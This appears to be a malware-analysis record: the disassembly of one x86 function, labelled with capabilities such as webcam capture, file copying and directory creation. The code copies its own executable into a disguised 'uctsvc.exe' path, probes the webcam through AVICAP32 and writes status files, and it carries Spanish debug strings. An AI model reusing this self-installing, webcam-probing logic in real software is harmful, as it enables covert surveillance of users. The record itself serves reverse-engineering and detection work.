Function at 0x404a8c
Capabilities:
Capture webcam image
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9e4
push ebx
push esi
push edi
mov ebx, 0x44900c
mov eax, 0x440818
call fcn.0040e948
lea edi, [ebp - 0x144]
mov esi, 0x437e74
mov ecx, 0x39
lea eax, [ebp - 0x500]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x22c]
mov esi, 0x437f5b
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x314]
mov esi, 0x438042
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3fc]
mov esi, 0x438129
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x500]
push edx
lea ecx, [ebp - 0x144]
push ecx
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x500]
push eax
lea edx, [ebp - 0x22c]
push edx
call fcn.0040e690
add esp, 8
push str.pac001_
lea ecx, [ebp - 0x144]
push ecx
call fcn.0040e690
add esp, 8
push str.TCDEFR8.tmp
lea eax, [ebp - 0x22c]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x22c]
push edx
push 0x4402c4
call fcn.0041179c
add esp, 8
lea ecx, [ebp - 0x22c]
push ecx
call fcn.00404f4c
pop ecx
test al, al
jne 0x404b9c
push str.procedo_a_crear_carpeta
call fcn.0041179c
pop ecx
push 0
lea eax, [ebp - 0x22c]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
jmp 0x404ba7
push str.carpeta_ya_existe
call fcn.0041179c
pop ecx
lea edx, [ebp - 0x144]
push edx
call fcn.00410298
pop ecx
push 0
call fcn.0041772c
pop ecx
push eax
call fcn.004137fc
pop ecx
mov word [ebp - 0x44], 8
lea ecx, [ebp - 0x18]
push ecx
call fcn.00402603
pop ecx
lea eax, [ebp - 0x30]
add dword [ebp - 0x38], 4
mov word [ebp - 0x44], 0x14
mov word [ebp - 0x44], 0x20
push eax
call fcn.00405868
pop ecx
lea edx, [ebp - 0x314]
add dword [ebp - 0x38], 4
mov word [ebp - 0x44], 0x14
push 0xc8
push 0
push edx
call fcn.0040e5ec
add esp, 0xc
lea ecx, [ebp - 0x3fc]
push 0xc8
push 0
push ecx
call fcn.0040e5ec
add esp, 0xc
lea eax, [ebp - 0x144]
push eax
lea edx, [ebp - 0x3fc]
push edx
call fcn.0040e690
add esp, 8
push str.uctsvc.exe
lea ecx, [ebp - 0x3fc]
push ecx
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x144]
push eax
lea edx, [ebp - 0x314]
push edx
call fcn.0040e690
add esp, 8
push 0
lea ecx, [ebp - 0x314]
push ecx
call sub.KERNEL32.DLL_CreateDirectoryA
push 0x104
lea eax, [ebp - 0x61c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
lea edx, [ebp - 0x3fc]
push edx
lea ecx, [ebp - 0x61c]
push ecx
call sub.KERNEL32.DLL_CopyFileA
push str.stat.idx
lea eax, [ebp - 0x314]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x314]
push edx
call fcn.00405834
pop ecx
test eax, eax
jne 0x404e2c
push 0
push 0
push 0x8c
push 0xa0
push 0
push 0
push 0
push 0x4400c8
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov dword [ebx], eax
push dword [ebx]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x404cff
push 0
push 0
push 0x40a
push dword [ebx]
call sub.USER32.DLL_SendMessageA
jmp 0x404d01
xor eax, eax
test eax, eax
jne 0x404d35
push dword [ebx]
call sub.USER32.DLL_DestroyWindow
xor edx, edx
mov dword [ebx], edx
push 1
push 0
push 0x448de8
call fcn.0040e5ec
add esp, 0xc
push 0x440306
push 0x448de8
call fcn.0040e690
add esp, 8
jmp 0x404d58
push 1
push 0
push 0x448de8
call fcn.0040e5ec
add esp, 0xc
push 0x440308
push 0x448de8
call fcn.0040e690
add esp, 8
push dword [ebx]
call sub.USER32.DLL_DestroyWindow
xor ecx, ecx
mov dword [ebx], ecx
xor esi, esi
call fcn.004049d0
mov ebx, eax
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, dword [ebp - 8]
jne 0x404daa
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x58], 1
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x58]
jae 0x404d98
lea ecx, [ebp - 0x58]
jmp 0x404d9b
lea ecx, [ebp - 0x5c]
add edx, dword [ecx]
push edx
lea eax, [ebp - 0x18]
push eax
call fcn.00402a72
add esp, 8
mov eax, dword [ebp - 0x14]
inc eax
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
mov byte [eax], bl
inc dword [ebp - 0x14]
inc esi
cmp esi, 0xa
jb 0x404d65
push 0x440108
lea edx, [ebp - 0x314]
push edx
call fcn.00410998
add esp, 8
mov ebx, eax
push ebx
push dword [ebp - 0x18]
call fcn.0040e6cc
pop ecx
push eax
push 1
push dword [ebp - 0x18]
call fcn.00410e4c
add esp, 0x10
push ebx
push 2
push 1
push 0x44030a
call fcn.00410e4c
add esp, 0x10
push ebx
push 0x448de8
call fcn.0040e6cc
pop ecx
push eax
push 1
push 0x448de8
call fcn.00410e4c
add esp, 0x10
push ebx
call fcn.004104f0
pop ecx
mov dword [0x437c10], 1
lea eax, [ebp - 0x144]
push eax
call fcn.00410298
pop ecx
push 0x14
push 0
push 0x449090
call fcn.0040e5ec
add esp, 0xc
push 0x449090
push str._sfh.cbu
call fcn.00405264
add esp, 8
push 0x449090
lea edx, [ebp - 0x144]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x144]
push ecx
call fcn.00405834
pop ecx
test eax, eax
jne 0x404ecb
push 0x440108
lea eax, [ebp - 0x144]
push eax
call fcn.00410998
add esp, 8
mov ebx, eax
test eax, eax
jne 0x404ea2
push ebx
call fcn.004104f0
pop ecx
push ebx
push 1
push 0x9b
push 0x437adb
call fcn.00410e4c
add esp, 0x10
push ebx
call fcn.004104f0
pop ecx
lea edx, [ebp - 0x144]
push edx
call fcn.00416b04
pop ecx
dec dword [ebp - 0x38]
mov word [ebp - 0x44], 0x14
dec dword [ebp - 0x38]
mov esi, dword [ebp - 0x20]
sub esi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x404eff
cmp esi, 0x80
jbe 0x404ef5
push ebx
call fcn.0040c294
pop ecx
jmp 0x404eff
push esi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x38]
dec dword [ebp - 0x38]
dec dword [ebp - 0x38]
dec dword [ebp - 0x38]
mov esi, dword [ebp - 8]
sub esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x404f33
cmp esi, 0x80
jbe 0x404f29
push ebx
call fcn.0040c294
pop ecx
jmp 0x404f33
push esi
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x38]
dec dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov dword fs:[0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret